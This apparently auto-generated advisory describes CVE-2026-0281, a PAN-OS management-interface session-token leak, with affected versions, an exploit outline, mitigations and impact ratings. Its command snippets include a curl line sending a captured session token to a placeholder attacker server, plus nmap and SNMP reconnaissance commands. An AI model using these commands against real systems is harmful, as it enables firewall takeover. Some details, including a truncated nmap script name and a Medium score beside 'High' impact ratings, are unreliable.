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How CVE-2026-0281 Works
This vulnerability resides in the management web interface of Palo Alto Networks PAN-OS software. It is an information disclosure flaw that allows an unauthenticated attacker, with network access to this interface, to steal web session tokens belonging to legitimate users.
The attack vector is triggered through a malicious link. The attacker crafts a specially designed URL and tricks an authenticated administrator or user into clicking it. The critical point is that the attacker does not need to have any prior authentication or valid credentials.
When the legitimate user, who already has an active session on the PAN-OS management interface, clicks the malicious link, their browser unknowingly transmits the active session token to the attacker’s server. This is a classic cross-site request forgery (CSRF) or session hijacking vector, but in this case, the token is leaked directly.
The core issue is that the management web interface does not sufficiently protect session tokens from being exposed via external requests. The attacker, having obtained the token, can then use it to impersonate the victim user. This grants them the same level of access as the legitimate administrator, which could be full administrative control over the firewall or Panorama appliance.
Palo Alto Networks has emphasized that the risk is significantly minimized if administrators follow their best practice guidelines. These guidelines recommend restricting access to the management web interface to only trusted internal IP addresses. By doing so, the attack surface is drastically reduced because the attacker would need to be on the same internal network to even reach the interface.
The vulnerability affects a wide range of PAN-OS versions on PA-Series and VM-Series firewalls, as well as Panorama (virtual and M-Series). Cloud NGFW and Prisma Access are not impacted. The attack requires user interaction (clicking a link), which lowers its severity somewhat, but the potential for privilege escalation makes it a significant concern for exposed management interfaces.
DailyCVE Form
Platform: PAN-OS
Version: <10.2.18-h8, <11.1.16, <11.2.13, <12.1.8
Vulnerability : Session Token Theft
Severity: Medium (CVSS 4.8)
date: 2026-07-09
Prediction: 2026-07-15
What Undercode Say (Analytics)
The following bash commands and analytical snippets can be used to assess exposure and simulate the attack vector:
Check if the management interface is exposed to the internet nmap -p 443 <target-ip> --script=http- Simulate the malicious link (conceptual) The attacker crafts a link that points to their server, capturing the Referer or token curl -X GET "https://<attacker-server>/capture?token=<PAN-OS-session-token>" Check for vulnerable PAN-OS versions From Tenable plugin (CVE-2025-4614 is a different CVE, but version checks are similar) The affected versions are: 10.2.x < 10.2.18-h8 11.1.x < 11.1.16 11.2.x < 11.2.13 12.1.x < 12.1.8 Example of checking version via SNMP (if enabled) snmpwalk -v2c -c public <target-ip> 1.3.6.1.4.1.25461.2.1.2.1.1 Using Palo Alto's API to check version (authenticated) curl -k -X GET "https://<target-ip>/api/?type=version&key=<API_KEY>"
How Exploit:
- Reconnaissance: The attacker identifies a PAN-OS management interface exposed to the network.
- Crafting the Payload: A malicious URL is created. This URL, when loaded by an authenticated user, will leak the session token to the attacker’s server. The token is often sent as a query parameter or in the `Referer` header.
- Social Engineering: The attacker tricks an authenticated administrator into clicking the link. This could be via phishing email, a compromised website, or other social engineering tactics.
- Token Capture: The user’s browser, while holding an active session, makes a request to the attacker’s server, inadvertently including the session token.
- Session Hijacking: The attacker extracts the token and replays it in their own browser to authenticate as the victim administrator, gaining full control over the firewall.
Protection:
Immediate Mitigation: Restrict access to the management web interface to only trusted internal IP addresses. This is the primary defense recommended by Palo Alto Networks.
Network Segmentation: Place the management interface on a separate, highly restricted management network (out-of-band management).
Patch Management: Apply the vendor-supplied patches. The fixed versions are:
PAN-OS 10.2.18-h8 or later
PAN-OS 11.1.16 or later
PAN-OS 11.2.13 or later
PAN-OS 12.1.8 or later
Web Application Firewall (WAF): Deploy a WAF in front of the management interface to detect and block malicious requests.
User Awareness: Educate administrators about the risks of clicking on untrusted links, especially while logged into sensitive management interfaces.
Impact:
Confidentiality: High. An attacker can obtain sensitive session tokens.
Integrity: High. With an administrator’s session, the attacker can modify firewall rules, change configurations, and potentially install backdoors.
Availability: Medium. The attacker could disrupt network operations by altering or deleting configurations.
Scope: Affects PA-Series and VM-Series firewalls, and Panorama appliances. Cloud NGFW and Prisma Access are not vulnerable.
Risk: The risk is elevated for organizations that have exposed their management interfaces to the internet or untrusted networks. Following best-practice deployment guidelines significantly reduces this risk.
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Sources:
Reported By: nvd.nist.gov
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